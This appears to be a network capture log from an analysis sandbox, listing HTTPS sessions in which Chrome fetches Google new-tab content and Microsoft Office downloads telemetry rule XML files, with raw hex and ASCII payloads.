2024-11-27 16:58:29 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 16:58:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 16:58:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 16:58:30 UTC	372	IN	Data Raw: 31 61 63 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1acb)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-27 16:58:30 UTC	935	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700243,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-27 16:58:30 UTC	354	IN	Data Raw: 31 35 62 0d 0a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 5c 75 30 30 32 36 5c 75 30 30 32 36 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 2e 77 72 61 70 28 61 29 3a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 3b 44 64 5c 75 30 30 33 64 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 44 64 3b 7d 3b 5f 2e 46 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 45 64 28 5f 2e 6b 64 Data Ascii: 15ba\u003d\u003ea\u0026\u0026AsyncContext.Snapshot.wrap(a):a\u003d\u003ea;\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd;Dd\u003dclass extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i)return a.i[b];throw new Dd;};_.Fd\u003dfunction(a){return _.Ed(_.kd
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f Data Ascii: 8000ifier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLo
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 Data Ascii: d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else thr
2024-11-27 16:58:30 UTC	1390	IN	Data Raw: 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e Data Ascii: \|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49720	142.250.181.100	443	5736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 16:58:30 UTC	933	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 16:58:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 16:58:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-27 16:58:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:29 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165830Z-174f7845968n2hr8hC1EWR9cag0000000wx0000000006s0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165830Z-174f7845968g6hv8hC1EWR1v2n000000051000000000sxta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165830Z-174f7845968g6hv8hC1EWR1v2n0000000570000000003pxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165830Z-174f78459688l8rvhC1EWRtzr000000009u000000000cptr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:30 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
